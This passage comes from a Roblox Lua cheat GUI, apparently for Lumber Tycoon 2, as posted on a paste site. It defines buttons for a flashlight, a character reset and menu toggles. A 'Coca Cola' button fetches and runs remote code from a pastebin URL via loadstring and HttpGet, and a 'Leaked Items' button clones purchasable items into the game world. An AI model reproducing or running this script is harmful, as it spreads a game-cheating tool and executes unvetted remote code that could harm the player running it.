  4837. FunStuffCOCA.Parent = LT2GUI2Frame
  4838. FunStuffCOCA.BackgroundColor3 = Color3.new(0, 0, 0)
  4839. FunStuffCOCA.BorderColor3 = Color3.new(0, 0, 0)
  4840. FunStuffCOCA.Position = UDim2.new(0, 3, 0, 95)
  4841. FunStuffCOCA.Size = UDim2.new(0, 165, 0, 20)
  4842. FunStuffCOCA.Font = Enum.Font.Fantasy
  4843. FunStuffCOCA.FontSize = Enum.FontSize.Size18
  4844. FunStuffCOCA.Text = "Coca Cola"
  4845. FunStuffCOCA.TextColor3 = Color3.new(255, 0, 0)
  4846. FunStuffCOCA.TextSize = 15
  4847. FunStuffCOCA.MouseButton1Click:connect(function()
  4848. loadstring(game:HttpGet('https://pastebin.com/raw/nMu90Kdq',true))()
  4849.  
  4850. end)
  4851.  
  4852. FunStuffLEAKED.Name = "FunStuffLEAKED"
  4853. FunStuffLEAKED.Parent = LT2GUI2Frame
  4854. FunStuffLEAKED.BackgroundColor3 = Color3.new(0, 0, 0)
  4855. FunStuffLEAKED.BorderColor3 = Color3.new(0, 0, 0)
  4856. FunStuffLEAKED.Position = UDim2.new(0, 3, 0, 118)
  4857. FunStuffLEAKED.Size = UDim2.new(0, 165, 0, 20)
  4858. FunStuffLEAKED.Font = Enum.Font.Fantasy
  4859. FunStuffLEAKED.FontSize = Enum.FontSize.Size18
  4860. FunStuffLEAKED.Text = "Leaked Items"
  4861. FunStuffLEAKED.TextColor3 = Color3.new(255, 0, 0)
  4862. FunStuffLEAKED.TextSize = 15
  4863. FunStuffLEAKED.MouseButton1Down:connect(function()
  4864. game.ReplicatedStorage.Purchasables:Clone().Parent = game.Workspace.PlayerModels
  4865. end)
  4866.  
  4867.  
  4868. FunStuffFLASH.Name = "FunStuffFLASH"
  4869. FunStuffFLASH.Parent = LT2GUI2Frame
  4870. FunStuffFLASH.BackgroundColor3 = Color3.new(0, 0, 0)
  4871. FunStuffFLASH.BorderColor3 = Color3.new(0, 0, 0)
  4872. FunStuffFLASH.Position = UDim2.new(0, 3, 0, 141)
  4873. FunStuffFLASH.Size = UDim2.new(0, 165, 0, 20)
  4874. FunStuffFLASH.Font = Enum.Font.Fantasy
  4875. FunStuffFLASH.FontSize = Enum.FontSize.Size18
  4876. FunStuffFLASH.Text = "Flash Light"
  4877. FunStuffFLASH.TextColor3 = Color3.new(255, 0, 0)
  4878. FunStuffFLASH.TextSize = 15
  4879. FunStuffFLASH.MouseButton1Click:Connect(function()
  4880.  
  4881. FunStuffFLASH.BackgroundColor3 = Color3.new(0.14902, 0.490196, 0.109804)
  4882. -- Created by supersonicfan111
  4883. local p=game:GetService"Players".LocalPlayer
  4884. local c=p.Character
  4885. local surf='SmoothNoOutlines'
  4886. if not c then error'Cannot find character, please respawn, then rerun the script' end
  4887.  
  4888. -- Flashlight Handle
  4889. local hand=Instance.new"Part"
  4890. hand.BrickColor=BrickColor.DarkGray()
  4891. hand.Parent=c
  4892. hand.Anchored=false
  4893. hand.Locked=true
  4894. hand.CanCollide=false
  4895. hand.FormFactor='Custom'
  4896. hand.Size=Vector3.new(1,1,2)
  4897. hand.TopSurface,hand.BottomSurface=surf,surf
  4898.  
  4899. -- Torch Effect
  4900. local fe=Instance.new"Part"
  4901. fe.BrickColor=BrickColor.new"Black"
  4902. fe.Parent=c
  4903. fe.Anchored=false
  4904. fe.Locked=true
  4905. fe.CanCollide=false
  4906. fe.FormFactor='Custom'
  4907. fe.Size=Vector3.new(.8,.8,.2)
  4908. fe.TopSurface,hand.BottomSurface=surf,surf
  4909.  
  4910. -- Welding stuff
  4911.  
  4912. -- Flash to Right Arm
  4913. local weld1=Instance.new"Weld"
  4914. weld1.Parent=hand
  4915. weld1.Part0=hand
  4916. weld1.Part1=c['Right Arm']
  4917. weld1.C0=CFrame.new(0, 1.5, 0)
  4918.  
  4919. -- Torch Effect to Flash
  4920. local weld2=Instance.new"Weld"
  4921. weld2.Parent=hand
  4922. weld2.Part0=hand
  4923. weld2.Part1=fe
  4924. weld2.C0=CFrame.new(0, 0, 1)
  4925.  
  4926. -- Right Arm Weld
  4927. local ra=Instance.new"Weld"
  4928. ra.Parent=c['Torso']
  4929. ra.Part0=c['Right Arm']
  4930. ra.Part1=c['Torso']
  4931. ra.C0=CFrame.new(-1.5,1,0)*CFrame.Angles(math.rad(180),0,0)
  4932.  
  4933.  
  4934.  
  4935. -- Flashlight Functionality
  4936.  
  4937. local flashlightOn = false
  4938. local Battery=50
  4939.  
  4940. -- Handles turning the flashlight on/off
  4941. p:GetMouse().Button1Down:connect(function()
  4942. flashlightOn=not flashlightOn
  4943. if flashlightOn then
  4944. fe.BrickColor=BrickColor.new"New Yeller"
  4945. light=Instance.new"SurfaceLight"
  4946. light.Parent=fe
  4947. light.Range=1000
  4948. light.Face="Back"
  4949. light.Brightness=10
  4950. fe.Material="Neon"
  4951. else
  4952. fe.BrickColor=BrickColor.new"Black"
  4953. if light then light:destroy() end
  4954. fe.Material="SmoothPlastic"
  4955. end
  4956. end)
  4957.  
  4958. -- Battery Modules
  4959.  
  4960. -- Depleting and Charging
  4961. spawn(function()
  4962. while wait(1) do
  4963. if flashlightOn then
  4964. if Battery > 0 then
  4965. Battery=Battery-1
  4966. end
  4967. else
  4968. if Battery < 100 then
  4969. Battery=Battery+1
  4970. end
  4971. end
  4972. print(Battery)
  4973. end
  4974. end)
  4975.  
  4976. -- Turning off flashlight if the battery is too low
  4977. spawn(function()
  4978. while wait() do
  4979. if Battery <= 0 then
  4980. flashlightOn=false
  4981. if light then light:destroy() end
  4982. fe.BrickColor=BrickColor.new"Black"
  4983. fe.Material="SmoothPlastic"
  4984. end
  4985. end
  4986. end)
  4987.  
  4988. local stepped = game:GetService'RunService'.RenderStepped
  4989. end)
  4990.  
  4991.  
  4992. FunStuffReset .Name = "FunStuffReset "
  4993. FunStuffReset .Parent = LT2GUI2Frame
  4994. FunStuffReset .BackgroundColor3 = Color3.new(0, 0, 0)
  4995. FunStuffReset .BorderColor3 = Color3.new(0, 0, 0)
  4996. FunStuffReset .Position = UDim2.new(0, 3, 0, 164)
  4997. FunStuffReset .Size = UDim2.new(0, 165, 0, 20)
  4998. FunStuffReset .Font = Enum.Font.Fantasy
  4999. FunStuffReset .FontSize = Enum.FontSize.Size18
  5000. FunStuffReset .Text = "Reset Character"
  5001. FunStuffReset .TextColor3 = Color3.new(255, 0, 0)
  5002. FunStuffReset .TextSize = 15
  5003. FunStuffReset.MouseButton1Click:connect(function()
  5004. game.Players.LocalPlayer.Character.Head:Destroy()
  5005. end)
  5006. local Menus = {
  5007. [Player] = PlayerFrame;
  5008. [Teleport] = Waypoints;
  5009. [AIntroImage] = BloodFrameInfo;
  5010. [Woodmenu] = WoodFrame;
  5011. [Copymenu] = CopyFrame;
  5012. [PaintFill] = PaintFills;
  5013. [Artmenu] = ArtFrame;
  5014. [toolamenu] = toolaFrame;
  5015. [Buymenu] = BuyFrame;
  5016. [Btoolamenu] = LT2GUI2Frame;
  5017. }
  5018. for button,frame in pairs(Menus) do
  5019. button.MouseButton1Click:connect(function()
  5020. if frame.Visible then
  5021. frame.Visible = false
  5022. return
  5023. end
  5024. for k,v in pairs(Menus) do
  5025. v.Visible = v == frame
  5026. end
  5027. end)
  5028. end
  5029.  
  5030. local Menusa = {
  5031. [Paint] = MenuFramea;
  5032. }
  5033. for button,frame in pairs(Menusa) do
  5034. button.MouseButton1Click:connect(function()
  5035. if frame.Visible then
  5036. frame.Visible = true
  5037. return
  5038. end
  5039. for k,v in pairs(Menusa) do
  5040. v.Visible = v == frame
  5041. end
  5042. end)
  5043. end
  5044.  
  5045.  
  5046. --- Open/Close ---
  5047.  
  5048. Open.MouseButton1Down:connect(function()
  5049. OpenFrame.Visible = false
  5050. MainFrame.Visible = true
  5051. end)
  5052.  
  5053. Minimize.MouseButton1Down:connect(function()
  5054. MainFrame.Visible = false
  5055. OpenFrame.Visible = true
  5056. end)
  5057.  
  5058. CloseBLOOD.MouseButton1Down:connect(function()
  5059. BLOOD:destroy()
  5060. end)
  5061.  
  5062. --bring up menu
  5063. CurrentItem.MouseButton1Click:Connect(function()
  5064. if Picker.Visible == false then
  5065. Picker.Visible = true
  5066. else
  5067. Picker.Visible = false
  5068. end
  5069. end)
Add Comment
Please, Sign In to add comment